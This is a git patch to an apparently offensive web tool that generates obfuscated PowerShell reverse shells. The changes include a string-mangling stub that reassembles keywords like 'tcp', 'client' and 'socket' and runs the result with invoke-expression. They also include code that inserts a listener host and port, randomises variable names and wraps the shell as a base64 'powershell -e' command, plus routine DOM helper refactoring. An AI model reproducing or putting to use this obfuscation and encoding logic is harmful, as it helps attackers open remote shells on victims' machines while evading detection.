From b426861b1d22fe3db30754db3b16c3415a1cad0c Mon Sep 17 00:00:00 2001 From: PrincessPi3 Date: Tue, 15 Apr 2025 13:40:56 -0600 Subject: [PATCH] dingledont --- assets/silly.js | 143 ++++++++++++++++++++++++++++++++---------------- index.html | 26 +++++---- 2 files changed, 110 insertions(+), 59 deletions(-) diff --git a/assets/silly.js b/assets/silly.js index 14baff2..107bcfb 100644 --- a/assets/silly.js +++ b/assets/silly.js @@ -28,14 +28,28 @@ const listenersRaw = [listenerOne, listenerTwo, listenerThree, listenerFour, lis const mangleExprPre = '$mangledStr=\''; const mangleExprPost = '\';$staticStrArr="new","net","client","tcp","object","new","mkfifo","socket","tmp","security","ssl","stream","\$","buff","out","system","proto","expre","invoke","flush","auth",".",";";$replaceStrArr="dfi1","wiggleworm","nOt4t0","d00d1eb0p","unpotat","soiledpeanuts","tinylittledragons","thetiniestofhorses","capitalismisascam","bramblebush","ins4ecureSilly","456yt","\@\@\@\^","muscleperverts","inniebellybutton","ponishouldponiponi","ayylemone","testicles","lololol","teppidwater","orderhotwaterataniceresteraunt","deee","onoamouse";$demangledStr=$mangledStr;for($i=0;$i -le $staticStrArr.length;$i++){$demangledStr = $demangledStr -replace $replaceStrArr[$i],$staticStrArr[$i]};invoke-expression $demangledStr&' -// const mangleExprPost = '\';$staticStrArr="new","net","client","tcp","object","new","mkfifo","socket","tmp","security","ssl","stream","\$","buff","out","system","proto","expre","invoke","flush","auth",".",";";$replaceStrArr="dfi1","wiggleworm","nOt4t0","d00d1eb0p","unpotat","soiledpeanuts","tinylittledragons","thetiniestofhorses","capitalismisascam","bramblebush","ins4ecureSilly","456yt","\\@\\@\\@\\^","muscleperverts","inniebellybutton","ponishouldponiponi","ayylemone","testicles","lololol","teppidwater","orderhotwaterataniceresteraunt","deee","onoamouse";$demangledStr=$mangledStr;for($i=0;$i -le $staticStrArr.length;$i++){$demangledStr = $demangledStr -replace $replaceStrArr[$i],$staticStrArr[$i];$staticStrArr[$i];$replaceStrArr[$i]};invoke-expression $demangledStr&' - const replaceStrArr = ['dfi1', 'wiggleworm', 'nOt4t0', 'd00d1eb0p', 'unpotat', 'soiledpeanuts', 'tinylittledragons', 'thetiniestofhorses', 'capitalismisascam','bramblebush', 'ins4ecureSilly', '456yt', '@@@^', 'muscleperverts', 'inniebellybutton', 'ponishouldponiponi', 'ayylemone', 'testicles', 'lololol', 'teppidwater', 'orderhotwaterataniceresteraunt', 'deee', 'onoamouse']; const findStrArr = [/new/gi, /net/gi, /client/gi, /tcp/gi, /object/gi, /new/gi, /mkfifo/gi, /socket/gi, /tmp/gi, /security/gi, /ssl/gi, /stream/gi, /\$/gi, /buff/gi, /out/gi, /system/gi, /proto/gi, /expre/gi, /invoke/gi, /flush/gi, /auth/gi, /\./gi, /;/gi]; const staticStrArr = ['new', 'net', 'client', 'tcp', 'object', 'new', 'mkfifo', 'socket', 'tmp', 'security', 'ssl', 'stream', '$', 'buff', 'out', 'system', 'proto', 'expre', 'invoke', 'flush', 'auth', '.', ';']; +function setContents(elemId, elemContents) { + document.getElementById(elemId).innerHTML = elemContents; +} + +function showId(elemId) { + document.getElementById(elemId).style.display = "block"; +} + +function hideId(elemId) { + document.getElementById(elemId).style.display = "none"; +} + +function getVal(elemId) { + return document.getElementById(elemId).value; +} + function mangleRevShell(revShellStr) { let mangiemut = revShellStr; @@ -95,15 +109,8 @@ function encodeUTF16LE(str) { // props Keveun https://stackoverflow.com/question return String.fromCharCode.apply( String, byteArray ); } - function genShell() { - const host = document.getElementById("host").value; - const port = document.getElementById("port").value; const rstype = document.getElementById("rstype").value; - const listenertype = document.getElementById("listenertype").value; - const minLen = document.getElementById("minLen").value; - const maxLen = document.getElementById("maxLen").value; - const psRevStringRaw = psRevRaw[rstype]; encodePS(psRevStringRaw); } @@ -136,52 +143,56 @@ function configShell(rawShellString, host, port/*, shell*/) { } function psEncodeBase64Exe(shellStr) { + // for `powershell -e $base64EncodedData` to work, the commands need to be first encoded into Unicode/UTF-16 LE (Windows default) than base64 encoded const psEncodedlUTF16LE = encodeUTF16LE(shellStr); const base64EncodedPSExecutable = "powershell -e " + btoa(psEncodedlUTF16LE); return base64EncodedPSExecutable; } function encodePS(rawShellString, listenerShow=true) { - const host = document.getElementById("host").value; - const port = document.getElementById("port").value; - const rstype = document.getElementById("listenertype").value; - const minLen = document.getElementById("minLen").value; - const maxLen = document.getElementById("maxLen").value; + const host = getVal("host"); + const port = getVal("port"); + const rstype = getVal("listenertype"); + const minLen = getVal("minLen"); + const maxLen = getVal("maxLen"); let matchies = rawShellString.match(/\$(?!null|zero|false|true|script|buffer)[a-z0-9-_]{1,30}/gi); - const varsLen = matchies.length; - - let randVarSubArr = new Array(); - let moddedCmdString = configShell(rawShellString, host, port); - - for(let i=0; i --> - advanced
+ advanced